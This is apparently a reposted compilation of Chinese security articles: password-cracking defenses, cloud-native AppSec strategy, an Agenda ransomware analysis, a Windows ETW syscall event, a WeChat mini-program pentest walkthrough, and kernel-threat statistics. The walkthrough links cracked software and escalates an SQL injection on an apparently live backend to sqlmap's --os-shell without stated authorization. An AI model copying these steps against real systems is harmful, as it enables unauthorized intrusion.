憑據填充。如果黑客知道受感染帳戶的用戶名和密碼，他們可以嘗試在該用戶可能擁有帳戶的多個系統中使用此組合。據Security eMagazine報導，53% 的人承認對不同的帳戶使用相同的密碼。

希望攻擊者無法破解您的Web 應用程序用戶的密碼不是一種選擇。因此，讓我們探討如何保護用戶數據免遭密碼破解，並減輕帳戶洩露帶來的網絡安全風險。

保護Web 應用程序免遭密碼破解的7 種方法為保護您產品的用戶帳戶不被洩露，您需要實施綜合方法。下面，我們將討論緩解密碼破解的七種最必要的網絡安全實踐。

image.png

保護Web 應用程序免遭密碼破解的7 種方法

1. 出台嚴格的密碼管理政策密碼越複雜，黑客破解它們的難度就越大。確保您的開發人員配置您的應用程序的密碼規則，以防止用戶創建弱憑據。

創建密碼規則列表時，請考慮研究頂級技術組織推薦和使用的內容。例如，您可以查看NIST 特別出版物800-63-3 數字身份指南中的密碼策略建議，並了解Microsoft 365和IBM Security Privileged Identity Manager等可靠產品推薦的密碼安全性。

密碼策略的常見最佳做法包括：

密碼應包含特殊符號、數字以及大小寫字母。

最小密碼長度應為八個符號。越長越好。

密碼應在指定的時間段內到期並更改：每月一次、每三個月一次、每年兩次等。

您的應用程序應具有密碼歷史記錄，以便當用戶更改密碼時，它可以根據所有以前的密碼檢查新密碼。只有當新密碼實際上是新的時，才應批准新密碼。

2.更改管理帳戶名稱避免使用明顯的管理帳戶用戶名，例如“administrator”、“admin”或“root”。此類用戶名很可能成為威脅行為者發起密碼破解攻擊的首要目標。

3.啟用多重身份驗證使用多重身份驗證(MFA) 保護用戶對您的應用程序的訪問。此類身份驗證工具使用戶在登錄應用程序之前執行兩個或更多步驟。

第一步通常需要傳統的登錄名和密碼。在以下步驟中，可能會要求用戶從短信中輸入安全代碼、使用令牌、提供指紋等。

即使威脅行為者成功猜出憑據，MFA 也將成為訪問用戶帳戶的另一個障礙。

4.建立用戶活動監控考慮將用戶活動監控解決方案作為Web 應用程序安全性的一部分。此類解決方案收集有關您基礎設施內所有用戶活動的信息，因此如果出現可能是密碼破解攻擊跡象的異常用戶行為，您可以發現它。

用戶監控解決方案通常與人工智能驅動的訪問控制工具等複雜軟件一起使用，這些軟件可以分析收集到的用戶活動數據、檢測異常情況，並阻止可疑的登錄嘗試或通知安全工程師潛在威脅。

例如，此類解決方案可以保存設備詳細信息和用戶機器的IP 地址。如果有人試圖從不同的IP 地址或設備登錄，訪問控制工具可以應用其他MFA 方法或限制訪問。

5. 將對服務器的遠程訪問限制為受信任的IP您的管理員和工程師帳戶也可能遭受密碼破解攻擊。因此，請確保僅為受信任的IP 地址啟用對服務器的遠程訪問。

例如，您可以為需要在日常工作中訪問服務器的工程師提供IP 地址的訪問權限。為此，您可以使用防火牆（如果您使用雲提供商服務，則可以使用安全組）。

6.為工程師啟用安全密鑰需要遠程訪問服務器的工程師應該生成安全密鑰。例如，這些可以是用於SSH 訪問的SSH 密鑰。這樣，管理員可以安全地遠程連接到服務器或其他機器，而無需使用登錄名和密碼。 SSH 密鑰身份驗證可保護對服務器的訪問並加密客戶端和服務器之間傳輸的流量。

另一種無密碼訪問服務器的方法是使用硬件安全密鑰，如FIDO2或Google Titan。這些是可以用來代替常見身份驗證方法的USB 設備。

在這種情況下，應禁用使用登錄名和密碼訪問服務器。應該只允許鑰匙持有者進入。如果密碼不存在，則無法破解。

7.使用密碼破解保護服務最後但並非最不重要的一點是，有一些專門用於保護服務免遭密碼破解的工具。

通常，此類工具會自動掃描登錄嘗試並阻止顯示惡意跡象的IP 地址，例如密碼失敗次數過多。這些工具中最受歡迎的是：

SSH衛士

IPBan Pro

間諜日誌

Fail2ban

在Apriorit，我們更喜歡使用Fail2ban，因為它使用起來很方便，並且可以有效地阻止潛在的惡意身份驗證嘗試。在下一章中，讓我們了解Fail2ban，並討論如何在實踐中配置和使用它。

HireHackking

採用CNAS需要對我們保護應用程序和基礎架構的方式進行重大改變。轉變是一個旅程，每個組織都不相同，甚至同一組織的不同部分也不同。

雖然選擇正確的道路是由你的決定，但為了讓它正確，模式和最佳實踐已經開始出現。在本文中，我提出了幾個可以考慮打破現狀的領域，以及如何打破現狀。

重新思考工具除了組織架構的改變，CNAS和“開發優先”還需要重新評估你的工具包。鑑於這種新視角，你應該重新考慮在技術解決方案中尋找的最重要特徵，以及你希望如何捆綁工具。

有很多方法可以重新評估工具，但我建議關註三個主要領域：開發工具採用、平台範圍和治理方法。

開發人員工具口徑如果我們的目標是讓開發人員在日常工作中能夠構建安全性，我們需要確保為他們提供針對該目標進行優化的工具。如果你購買專為審計人員設計的解決方案並要求開發人員使用它們，那麼你不太可能取得成功。

不出所料，開發人員習慣於使用開發人員慣用的工具。這些工具代表了整個行業，圍繞著什麼是優秀的開發者工具這一主題，已經在行業內發展了自己的最佳實踐。為了幫助你選擇開發人員將採用的安全解決方案，你應該根據開發者工具最佳實踐評估這些工具，並了解它們的表現如何。

以下是優秀的開發者工具的一些常見特徵：

成功的自助服務採用實際上，所有成功的開發工具都具有出色的自助服務用法，包括輕鬆的上手培訓、直觀的工作流程和出色的文檔。這是開發人員喜歡使用工具的方式，它迫使供應商確保他們的工具與開發人員相關，而無需銷售人員推動它。除非你想成為向開發人員推廣工具的銷售人員，否則請尋找具有開發人員自助服務採用的良好記錄的工具。

無縫集成到工作流程中在大多數情況下，開發工具經常與開發人員打交道，而不是要求他們再打開另一個工具。它們優雅地集成到其IDE、Git和研發管道中，並在正確的時間點提供價值。集成不僅僅是技術鉤子;他們需要適應工作流程和最佳實踐，否則將被拒絕採用。

豐富的API和自動化友好雖然需要固執己見的集成才能開始，但開發工具也必須是瑞士軍刀。豐富的API和自動化友好的客戶端（CLI/軟件開發工具包[SDK]）是強制性的，既可以將該工具調整到每個管道，又允許社區在其上進行構建。如果你不能在工具上構建，它就不是一個偉大的開發工具。

開源和社區採用開發人員希望其他開發人員來驗證工具的可信度，而開源採用是最好的指標。看到開源項目集成了安全工具或基於此構建的開源項目，這些都是很好的開發人員社區驗證。在檢查安全工具時，檢查它在開源中的採用情況並得出自己的結論。

這些只是眾多開發工具最佳實踐中的一小部分。如果你想了解更多關於開發優先安全性的特定安全建議，請繼續往下看。此外，在評估任何工具時，請確保讓實際的應用程序開發人員參與進來，以便從現實生活中了解它與周圍環境的契合程度（如下圖所示）。

ce0ff4b0-0eee-4791-b04a-0cd56b885b79.png

開發人員友好的安全工具示例

平台範圍當前主流的AST平台主要關注自定義代碼，也許還有應用使用的開源庫。工具套件主要由SAST、DAST和IAST組成，最近又添加了SCA。當你擁抱更廣泛的雲原生應用程序範圍時，請重新考慮平台的構成。

首先，讓我們考慮一下哪些工具從成為單一平台的一部分中受益。它們可以分為下面幾個部分：

共享用戶：如果不同的工具是為不同的主要用戶設計的，那麼它們幾乎不需要成為單個平台的一部分，因為它們無論如何都會單獨使用。

共享工作流：如果以類似的方式使用多個工具並集成到用戶工作流的類似點中，則可以通過組合它們來節省集成時間以及用戶的時間和精力，而無需使用多個單獨的工具。

共享優先級：如果來自不同工具的行動項應彼此優先排序，則共享積壓工作可以提高效率和結果。

價值倍增：最後，工具共享平台的最強驅動力是當工具一起使用可以增強每個工具的價值。這個標準自然解釋了為什麼像SAST和SCA這樣的技術非常適合單一平台。兩者都為相同的開發人員用戶提供服務，運行掃描並在相同的位置吸引用戶，並共享同一開發人員需要優先考慮的安全漏洞的積壓。在高級SCA解決方案中，SAST技術可以指示你的自定義代碼是否調用庫中易受攻擊的代碼，從而提供更高的準確性，從而增加價值。

當你考慮將容器和IaC安全性添加到SAST和SCA的同一平台時，相同的邏輯也適用：共享用戶：容器和IaC現在由開發人員保護，就像SAST和SCA一樣，他們寧願沒有多個不同的產品需要花時間學習和參與。

共享工作流：保護容器和IaC需要跨生命週期的集成，例如IDE、Git和構建集成，就像SAST和SCA一樣。

共享優先級：同一個開發人員需要花費周期來修復容器或IaC漏洞，或者代碼或庫中的漏洞——所有這些都是保護應用的積壓工作。

價值倍增：保護這些組件有多種方式。掃描容器需要探索內部的應用程序，了解基礎設施配置有助於確定代碼和庫的漏洞優先級，了解跨組件的流程有助於緩解問題；這正是你在對漏洞進行分類時所做的。

即使CNAS範圍擴大，這種邏輯仍然有效，我鼓勵你將CNAS工具視為一個平台。一個簡單的準則是，Git存儲庫中的任何內容都可能與其周圍的文件相關，並遵循相同的開發工作流。因此，CNAS平台應有助於保護存儲庫中的所有內容（整個雲原生應用）。

DAST和IAST在這樣一個平台上是有點尷尬的參與者。儘管它們處理保護應用程序，但它們通常需要不同的工作流程。由於運行它們所花費的時間，很難將它們放入構建管道或IDE掃描中。在我看來，這是一個技術問題，而不是一個合乎邏輯的問題，一旦IAST和DAST解決方案發展到對管道更加友好，它有望得到解決。

治理和賦權方法採用開發優先的安全方法需要不同類型的協作。我們需要的工具不是專注於廣播和執行自上而下的任務，而是幫助我們協作構建安全應用程序的工具。

這聽起來可能很明顯，但在實踐中，這與許多安全工具的工作方式有很大的不同。讓我們深入研究一些具體的例子，以了解這意味著什麼。

首先，開發人員需要有能力平衡業務需求與安全風險。這意味著，例如，允許他們決定不修復發現的漏洞並繼續將其部署到生產環境。對某些人來說，這是一個可怕的命題，但這是實現獨立團隊的唯一方法。請注意，忽略漏洞仍應要求提供（且可審核）原因，並且某些約束應為硬槓槓（通常出於合規性原因），但作為默認立場，決策應留給開發人員。

其次，開發人員需要能夠管理他們的安全風險，這需要看到他們項目中的所有漏洞。這不僅需要包括漏洞列表，還需要包括確定優先級所需的所有信息，例如可利用性和資產映射。對此類信息保持透明可能會帶來一些風險，但這是擴展安全性的唯一方法；要賦予開發人員權力，你必須信任他們提供這些敏感數據。

第三，安全團隊應該投資於跟踪和推動安全控制的採用，甚至超過他們的產出。開發團隊應該管理其漏洞積壓工作，但安全團隊需要幫助他們成功做到這一點。開發優先安全治理意味著跟踪採用了哪些控件及其輸出的處理情況，並與開發團隊合作改進這些統計信息，而不是突出顯示他們應該修復的漏洞。

這些只是評估治理工具和技術時要考慮的幾個示例。關鍵是要擁抱平台心態；它的目標是幫助開發團隊成功構建安全軟件，而不是跟踪安全漏洞本身。

重新思考優先事項最後但並非最不重要的一點是，CNAS需要重新考慮應用程序安全優先級。如果開發人員需要保護整個雲原生應用程序，你希望他們最關注哪些方面？

從歷史上看，IT安全控制主導了更大的預算，並且比應用程序安全控制獲得了更多CISO的關注。這種不平衡可能有歷史原因，但歸根結底，它代表了CISO關於如何最好地使用他們的資金來降低組織風險的觀點。

換句話說，CISO認為，由於未修補的服務器或配置錯誤的基礎架構而導致的違規風險大於代碼中的自定義漏洞的風險。這種看法有相當多的數據來支持它，顯示了歷史違規行為及其原因。此外，它很容易理解;對於攻擊者來說，大規模運行已知的漏洞並尋找一扇敞開的門要比對應用程序進行逆向工程並找到自定義缺陷以使其通過要容易得多。

云不會減少這個等式；事實上，雲加強了這個等式。採用雲意味著使用更多的基礎設施和更多的服務器，它們往往更容易公開訪問，並且它們由不太熟悉管理它們的團隊（開發人員）定義，並配備了不太成熟的工具。

然而，雖然以前的平衡是在IT安全預算和應用程序安全預算之間，但現在一切都在應用程序安全世界中。在構建雲原生應用程序時，相同的開發人員需要保護其自定義代碼，管理其開源使用中的漏洞，並使服務器和基礎架構具有彈性。同一個應用程序安全團隊需要幫助他們做到這一點，並在他們之間分配相同的預算。

因此，我們回到開場白：你希望如何分配寶貴的開發人員的時間和有限的CNAS預算？

丟掉開發人員自己的設備和應用程序安全預算並讓開發人員的注意力集中在保護自定義代碼上。應用程序安全成熟度模型、行業最佳實踐以及團隊中個人的個人體驗都錨定在雲前的世界中，其中自定義代碼是開發人員必須保護的大部分內容。購買SAST和DAST等工具通常是應用程序安全新領導者名單上的第一件事，很少受到挑戰。

但是，考慮到CNAS的範圍，這仍然是你時間和金錢的最佳利用嗎？由於已知漏洞或配置錯誤而導致的違規風險仍然高於自定義代碼缺陷的風險，即使開發人員是配置它的人。如果你同意，難道不應該告訴你的開發人員和應用程序安全團隊首先要專注於保護這些層，然後才能處理他們的自定義代碼嗎？

這不是一個容易回答的問題。我不會假設知道你的優先事項應該是什麼，因為這些優先事項會因組織而異。但是，鑑於CNAS的範圍更廣，我強烈建議你在內部進行此對話並重新考慮你的優先事項。

結論改變你處理應用程序安全性的方式不僅僅是一種思考練習。它具有非常真實的下游影響，包括人們的職業生涯，預算分配以及對保持組織安全的最佳方式的重新評估。它需要擺脫一些關於你過去如何做事的肌肉記憶，而不是在選擇解決方案時回到第一原則，這需要寶貴的時間和精力。

好消息是，你不必一次完成所有操作。我在本文中概述的變化相互關聯，但可以按照自己的節奏應用。我建議你選擇與你最相關的那些內容，或者選擇你認為更重要的其他變化，並讓這些變化繼續下去。你將逐步調整安全功能以適應云原生現實。

HireHackking

今年，各種勒索軟件即服務組織相繼在Rust中開發了他們的勒索軟件版本，這其中就包括Agenda。 Agenda的Rust變體瞄準了一些重要行業。我們將在本文中介紹Rust變體的工作原理。今年，BlackCat、Hive和RansomExx等勒索軟件即服務（RaaS）組織開發了Rust版本的勒索軟件，Rust是一種跨平台語言，可以更容易地為Windows和Linux等不同的操作系統定制惡意軟件。在這篇文章中，我們介紹了另一個已經開始使用這種語言的勒索軟件組織Agenda(也稱為Qilin)。

根據我們在過去一個月的觀察，Agenda勒索軟件的活動包括在其洩露網站上發布許多公司的信息。攻擊者不僅聲稱他們能夠侵入這些公司的服務器，還威脅要公佈他們的文件。勒索軟件組織在其洩漏網站上發布的公司位於不同的國家，主要屬於製造業和IT行業，總收入超過5.5億美元。

最近，我們發現了一個用Rust語言編寫的Agenda勒索軟件樣本，檢測結果為Ransom.Win32.Agenda.THIAFBB。值得注意的是，同樣的勒索軟件最初是用Go語言編寫的，以針對泰國和印度尼西亞等國家的醫療和教育部門而聞名。攻擊者通過使用洩露的賬戶和唯一的公司ID等機密信息作為附加的文件擴展名，為目標受害者自定義了之前的勒索軟件二進製文件。 Rust變體還使用了間歇性加密，這是當今攻擊者用於更快加密和逃避檢測的新興策略之一。

1.png

VirusTotal中二進製文件的提交詳細信息，包括提交日期和上傳地區

2.png

BinText上顯示二進製文件使用的Rust模塊/函數的字符串

技術分析執行時，Rust二進製文件會提示以下錯誤，要求將密碼作為參數傳遞。這個命令行特性類似於用Golang編寫的Agenda勒索軟件二進製文件。

3.png

執行示例時的錯誤提示

在以“-password”作為參數並結合虛擬密碼“agenda apass”執行示例時，勒索軟件示例將從終止各種進程和服務開始運行其惡意例程。

4.png

終止應用程序和服務

針對我們分析的樣本，勒索軟件將擴展名“MmXReVIxLV”附加到加密文件中。它還在命令提示符上顯示活動日誌，包括已加密的文件和運行時間。

5.png

加密文件示例

6.png

加密文件中的日誌

然後，勒索軟件將繼續在其加密的每個目錄上釋放其勒索通知。正如其勒索說明中所觀察到的，用於執行勒索軟件的密碼也將用作登錄勒索軟件組支持聊天網站的密碼。

7.png

勒索通知

勒索軟件分析不同於Agenda的Golang變體，它接受10個參數，Rust變體只接受3個參數：

8.png

Agenda勒索軟件Rust變體使用的參數

Rust變體在二進製文件中也包含硬編碼配置，就像以前在Golang中編譯的示例一樣。

9.png

包含配置的二進製文件內的函數

10.png

包含配置的字符串

它還在其配置中添加了-n、-p、fast、skip和step標誌，這些標誌在Golang變體配置中不存在，僅通過命令行參數使用。經過進一步分析，我們了解到這些標誌用於間歇性加密。這種策略使勒索軟件能夠根據標誌的值對文件進行部分加密，從而更快地加密受害者的文件。這種策略在勒索軟件攻擊者中越來越流行，因為它可以讓他們更快地加密，並避免嚴重依賴於讀/寫文件操作的檢測。

11.png

用於間歇加密的標誌

12.png

用於間歇加密的標誌

13.png

Agenda勒索軟件Golang變體接受的命令行參數

我們試圖使用其配置中的一些標誌來模擬其加密行為。對於這個模擬，我們使用一個填充“a”作為內容的虛擬文件。

對於快速模式：

值：1

14.png

快速標誌設置為1

加密字節：1*0x200000h，其中1是快速標誌中設置的值

15.png

0x200000h字節加密

對於N-P模式：

16.png

標誌設置為n=1; p=1

總大小=88082336字節，加密的字節數=1 *0x200000,h，其中1是n標誌中設置的值，跳過的字節數=880818字節(整個文件的1%)，其中1是p標誌中設置的值。

17.png

加密字節的0x200000h

18.png

880818字節（相當於文件的1%）加密

除了用於不同加密模式的附加標誌之外，Rust變體還將AppInfo包括在要終止的服務列表中。它禁用了用戶帳戶控制（UAC），這是一項Windows功能，有助於防止惡意軟件以管理權限執行，從而導致無法以管理權限運行其他應用程序。

19.png

使用與service_CONTROL_stop等效的參數0x01停止服務的函數

20.png

用於使用等同於SERVICE_DISABLED的參數0x04禁用服務的函數

21.png

禁用AppInfo服務後，無法運行具有管理權限的應用程序

眾所周知，Agenda勒索軟件還可以為每個受害者部署自定義的勒索軟件，我們已經看到，它的Rust變體有一個分配的空間，用於在其配置中添加帳戶，主要用於權限升級。

22.png

在Agenda勒索軟件的Rust變體配置中分配的帳戶

要附加在加密文件上的文件擴展名在其配置中是硬編碼的。

23.png

要附加的文件擴展名

然而，與之前的Golang變體不同，攻擊者在Rust變體的配置中不包括受害者的憑據。後者的這一特性不僅可以阻止其他研究人員訪問勒索軟件的聊天支持網站，還可以在外部提供樣本時訪問攻擊者的對話。它還可以防止來自受害者之外的其他人的主動信息。

24.png

Agenda勒索軟件聊天支持網站

總結Agenda是一個新興的勒索軟件家族，最近一直針對醫療保健和教育行業等關鍵部門。目前，它的攻擊者似乎正在將他們的勒索軟件代碼遷移到Rust，因為最近的樣本仍然缺乏在用Golang變體編寫的原始二進製文件中看到的一些特徵。 Rust語言在攻擊者中越來越受歡迎，因為它更難分析，而且反病毒引擎的檢測率較低。

HireHackking

微軟最近的精力主要放在了Win11 22H2年度更新上了，正式版本預計要到明年9月底正式發布，現在已經大量推送。

近年來，微軟下大力緩解和修復特定的惡意軟件或漏洞，增加了大量的緩解措施，如零初始化池分配（zero-initialized pool allocation）、CET、XFG和最新的CastGuard，攻擊者利用漏洞變得越來越困難。最重要的是，通過ETW，特別是威脅情報ETW通道，可以提高對惡意軟件和利用技術的可見性。

在23H2預覽版本中，微軟推出了一個新的ETW事件，這次針對的是NT API，這些API可針對各種可疑行為。 Windows 事件跟踪(ETW) 提供了一種用於檢測用戶模式應用程序和內核模式驅動程序的機制。 Log Analytics 代理用於收集寫入到管理和操作ETW 通道的Windows 事件。 但是，有時需要捕獲和分析其他事件，例如寫入分析通道的事件。

系統調用使用可見性隨著這一新的變化，微軟將重點放在幾個系統調用上，這些調用通常不應該被許多應用程序使用，但可能會被漏洞利用，例如KASLR繞過、VM檢測或物理內存訪問。這個新事件所涉及的許多情況都已被限制為特權進程，有些需要為管理員或系統進程保留特權，有些則限制為低IL或不受信任的調用方。但是，試圖調用這些系統調用中的任何一個都可能表明存在可疑活動。

到目前為止，EDR檢測這類活動的唯一方法是將用戶模式掛鉤放置在洩漏內核指針的所有不同NtQuery函數中。但實踐證明，這並不理想。一段時間以來，微軟一直試圖讓EDR遠離用戶模式掛鉤，主要是通過添加ETW事件，允許EDR通過非侵入性方式使用相同的信息。

為了跟上這一趨勢，Windows 11 23H2向威脅情報頻道添加了一個新的ETW事件——THREATINT_PROCESS_SYSCALL_USEGE。生成此ETW事件是為了指示非管理員進程對API+信息類進行了API調用，該API調用可能會及時發現某些異常以及潛在的惡意活動。此事件將為兩個API中的信息類生成：

NtQuerySystemInformation；

NtSystemDebugControl；這些API有許多信息類，其中許多是“無害的”，並且通常被許多應用程序使用。為了避免發送不感興趣或無用的信息，以下信息類將生成ETW事件：

1.png

包含這些信息類的原因各不相同，有些會洩漏內核地址，有些可用於VM檢測，另一些用於硬件持久性，還有一些表示大多數應用程序不應具備的物理內存知識。總的來說，這一新事件包含了應用程序無法正常運行的各種指標。

每一種緩解措施都必須考慮潛在的性能影響，當在頻繁調用的代碼路徑中生成ETW事件時，可能會降低系統的速度。因此，有一些限制適用於此：

1.事件只會為用戶模式的非管理員調用者生成。由於Admin-內核不被認為是Windows上的邊界，因此許多緩解措施不應用於管理進程，以降低對系統的性能影響。

2.對於每個流程，每個信息類只生成一次事件。這意味著如果NtQuerySystemInformation被一個進程調用10次，並且都使用相同的信息類，那麼只會發送一個ETW事件。

3.只有在調用成功時才會發送事件，失敗的調用將被忽略，並且不會產生任何事件。

為了支持上述第2個限制並跟踪流程所涉及的信息類，EPROCESS結構中添加了一個新字段：

2.png

當一個流程第一次成功調用一個被監控的信息類時，將設置與該信息類對應的位，即使沒有為這些流程發送ETW事件，也會發生在管理流程上。 ETW事件僅在未設置位時發送，已確保每個類只發送一次事件。雖然沒有API來查詢這個EPROCESS字段，但它確實有一個很好的副作用，那就是留下每個進程使用哪些信息類的記錄——如果你分析一個系統，可以查看這些記錄，但前提是在系統中啟用了Syscall Usage事件，否則位不會被設置。

檢查數據目前還沒有啟用這個事件，也沒有人使用它，但我希望看到Windows Defender很快開始使用它，希望其他EDR也能使用。我手動啟用了這個事件，以查看這些“可疑的”API是否在常規設備上被使用，使用我的I/O環漏洞作為完整性測試，因為我知道它使用NtQuerySystemInformation洩漏內核指針。以下是正常執行幾分鐘後的一些結果：

3.png

顯然，有一些信息類在設備上使用非常頻繁，到目前為止主要的是SystemFirmwareTableInformation。這些常見的類可能會在早期被EDR忽略，因此更容易被濫用。

總結這是否意味著不再有基於API的KASLR繞過，或者所有現有漏洞都會立即被檢測到？當然不會。 EDR需要一段時間才能開始註冊和使用這些事件，特別是因為23H2將在明年秋天的某個時候正式發布，而大多數安全產品可能還需要一兩年的時間才能意識到這一事件的存在。由於此事件被發送到只有PPL才能註冊的威脅情報頻道，因此許多產品根本無法訪問此事件或其他與攻擊相關的事件。此事件將使EDR能夠獲取惡意進程進行的一些額外調用的信息，但這只是攻擊的其中一步，如果安全產品過於依賴它，無疑會導致許多誤報。無論如何，這一事件只涉及一些已知的指標，而其他許多指標則被忽略。

HireHackking

网上大多数的小程序测试抓包都是用的安卓模拟器，这里使用的是BurpSuite+Proxifer+微信客户端的抓包方式

环境准备

Burp2023.9.2

Proxifier4.5

Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器，工作的网络程序能通过HTTPS或socks或代理链。其是收费软件，免费试用31天，这里给一个破解版链接

链接：https://pan.baidu.com/s/14QElyGxDpMBGTuCFTPl4tQ?pwd=7o50

提取码：7o50

图片1.png

安装就无脑next就好了，安装好后打开

图片2.png

点击注册，名字随便写，随便复制一个注册码点击ok即可

Proxifier配置

打开proxifier，点击profile添加一个代理服务器

图片3.png

图片4.png

地址127.0.0.1，端口自定义，我这里是8888，协议选择https

继续添加一条代理规则

在我们用微信打开小程序时，进程里会多出一个WeChatAppEx

图片5.png

这个程序就是微信小程序的进程

添加规则

图片7.png

Applications就选择小程序进程应用（这里可以手动输入），Action就选择刚刚新建的代理服务器

Burp配置

图片8.png

只要编辑代理监听器和proxifier里的代理服务器一样即可，监听127.0.0.1:8888

这时微信打开一个小程序，可以看到WeChatAppEx的流量先经过proxifier，再用过127.0.0.1:8888到burp
图片9.png

现在就可以像平时测试web站点一样的方式在burp里对数据包进行测试

小程序反编译

图片10.png

在微信的设置里面可以找到微信文件保存的位置

图片11.png

目录下的Applet就是小程序缓存文件的保存地址

图片12.png

平时使用的小程序越多，对应的文件也就越多，如果找不到自己想要测试的小程序包，可以根据修改日期来找，或者直接简单粗暴，删除所有的缓存文件，再重新打开你想要测试的小程序

图片13.png

这时里面的就是我们要测试小程序对应的缓存文件夹

点开里面就是我们要解的包

图片14.png

这是一个加密的包，当用户在微信中搜索或扫描小程序二维码后，微信后台会将该小程序的相关信息打包成 .wxapkg 文件并下发到用户的设备中，这种文件格式实际上是一个压缩包，其中包含了小程序的所有代码、资源和配置文件等内容，以及一个特定的描述文件 app.json。

由于是加密的包，所以先来解密，下面是大佬的解密工具链接

链接：https://pan.baidu.com/s/1BzfvBVwD4vLpakX9PAyrsg?pwd=qz3z

提取码：qz3z

图片15.png

选中加密的包

图片16.png

解密成功后在工具目录的wxpack目录下

图片17.png

接下来进行反编译

首先安装nodejs，下载链接https://nodejs.org/zh-cn/download/ ，安装就一直下一步就好了，安装好之后添加环境变量

图片18.png

加好环境变量后cmd输入命令会得到回显

图片19.png

接下来使用反编译工具wxappUnpacker

原链接https://github.com/system-cpu/wxappUnpacker

网盘链接：https://pan.baidu.com/s/19O2KDqWn2Zyars8AREJ1LQ?pwd=22qj

提取码：22qj

来到工具目录

安装

图片20.png

安装依赖

npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
逐条执行以上命令

逐条执行以上命令

接下来反编译

执行命令

node wuWxapkg.js 解密后小程序的路径

图片21.png

图片22.png

执行完后会在被反编译的包的目录下生成一个目录

图片23.png

图片24.png

里面就是反编译过后得到的文件了

下载微信开发者工具

官网下载链接

https://servicewechat.com/wxa-dev-logic/download_redirect?type=win32_x64&from=mpwiki&download_version=1062308310&version_type=1

安装好后打开

图片25.png

点击加号

图片26.png

目录选择反编译后的目录，后端服务选择不使用云服务，点击确定

图片29.png

就可以查看小程序的js代码了

测试

点击发送验证码的功能

图片30.png

是/api/shop/ipad/login/sms路径

在代码里面找到发送功能的代码

图片31.png

发现只有/login/sms

现在基本确认了路径访问规则，将接口拼接到/api/shop/ipad之后，找其他接口拼接尝试有没有未授权

找一个首页的路径拼接

图片32.png

直接发包返回404

图片33.png

拼接/api/shop/ipad之后发包

图片34.png

可以确定路径是对了，但是不存在未授权，这一个路径不存在，并不完全代表所有接口都不存在，也许有那么几个接口漏掉了没做鉴权，就会造成未授权，信息泄露之类的

一不小心getshell

继续看刚刚发送验证码的接口，看看有没有短信轰炸之类的

图片35.png

访问/login/sms接口，并且以post方式接收mobile参数

构造包

图片36.png

输入一个不存在的手机号，显示手机号码有误

图片37.png

输入一个真实的也提示有误，有可能只有系统存在的账户手机号才有效

看到参数习惯性打个单引号

图片38.png

哦豁，再加个单引号

图片39.png

哦豁+1
看返回数据包可以判断出用的.net，个人觉得这个框架是很多注入的，尝试手注没有回显，sqlmap一把梭，https加上--force-ssl参数

图片40.png

成功跑出SQL注入，而且是堆叠注入，尝试--os-shell

图片41.png

 

转自于原文链接：https://forum.butian.net/share/2477

 
HireHackking

我們將在本文討論攻擊者在其攻擊中是否選擇內核級訪問的原因。 Windows內核威脅長期以來一直受到攻擊者的青睞，因為它可以讓攻擊者獲得高特權訪問和檢測規避能力。時至今日，這些難以消除的威脅仍然是惡意活動攻擊鏈的關鍵組成部分。事實上，SentinelOne最近發現攻擊者濫用Microsoft簽名的驅動程序，對電信、業務流程外包（BPO）、託管安全服務提供商（MSSP）和金融服務行業的組織進行有針對性的攻擊。本月，SophosLabs還報告稱，他們發現了一個加密簽名的Windows驅動程序和一個可執行的加載器應用程序，該應用程序可以終止目標設備上的端點安全進程和服務。

我們將在2023年1月發布的研究論文“深入了解Windows內核威脅”中對值得關注的Windows內核威脅的狀態進行了更全面的分析。

追求內核級訪問的利弊對於攻擊者來說，不受限制地訪問內核是他們攻擊的最佳選擇。他們不僅能夠在內核級別執行惡意代碼，而且還能夠破壞受害者的安全防禦而不被發現。然而，需要注意的是，開發內核級rootkit和其他低級威脅也有其自身的缺點。

有利的一面：獲得對系統資源的高度特權訪問；

隱藏設備上的惡意活動，使檢測和響應活動更加困難；

保護惡意工件免受正常系統過濾過程的影響；

執行可以長時間繞過檢測的隱形操作；

從第三方防病毒產品獲得繼承的信任；

篡改多用戶模式應用程序所依賴的核心服務數據流；

篡改阻礙惡意活動的第三方安全產品；

實現非常低的檢測率，目前大多數現代rootkit在很長一段時間內都沒有被發現。

不利的一面：開發這些威脅可能代價高昂；

與其他用戶模式應用程序惡意軟件類型相比，開發和實現內核rootkit更加困難，這並不能使它們成為大多數攻擊的理想威脅；

內核rootkit的開發需要高素質的內核模式開發人員，他們了解目標操作系統的內部組件，並在逆向工程系統組件方面具有足夠的能力。

由於內核rootkit對錯誤更敏感，如果內核模塊中的代碼錯誤導致系統崩潰並觸發藍屏死亡（BSOD），它們可能會暴露整個操作。

如果受害者的安全機制已經失效或可以通過更簡單的技術消除，那麼引入內核模式組件將使攻擊變得複雜，而不是支持攻擊。

內核威脅有多普遍？我們分析了完全依賴內核驅動程序組件或在其攻擊鏈中至少有一個模塊在內核空間中執行的各種威脅。

在我們的研究中，我們根據可觀察到的技術將內核級威脅分為三個集群：

集群1：繞過內核模式代碼簽名（KMCS）策略的威脅；

集群2：使用合法的創建自己的驅動程序技術符合KMCS的威脅；

集群3：轉移到較低抽象層的威脅；

根據我們的觀察，過去七年中公開報導的值得關注的威脅和其他重大事件的數量從2018年開始呈現穩步上升的趨勢。

1.png

2015年4月至2022年10月包含內核級威脅的公共情報報告數量

目前，影響Windows內核的最大數量的內核威脅仍然屬於第一個集群。在Windows 10引入的新的基於管理程序的防禦解決方案的採用率提高之前，該集群中的威脅數量預計會增加。隨著採用率的增長，預計首批集群威脅的數量將大幅減少。

2.png

2015年4月至2022年10月，三個集群的內核級威脅分佈情況

然而，數據顯示，在過去三年中，屬於第二和第三集群的威脅數量一直在增加。

3.png

2015年4月至2022年10月按集群分類的內核級威脅

由於開發成本較高，第二集群威脅不太常見。儘管在過去五年中，第二個集群威脅的數量有所增加，但由於Windows 10和11中的KMCS策略，預計會減少並最終停止。同時，屬於第三個集群的威脅是最不常見的，因為它們的複雜性。我們認為，隨著攻擊者將其最初的感染點提前轉移到逃避現代安全機制的過程中，第三集群威脅將在未來幾年緩慢增加。

我們還根據這些威脅的具體用例對其進行了分類。

4.png

2015年4月至2022年10月使用內核級惡意軟件的威脅類型

根據我們的分析，APT間諜惡意軟件在攻擊中使用的內核級組件最多。 APT組織以擁有資源在攻擊中使用隱秘組件(如內核rootkit和較低級別的植入)而聞名。

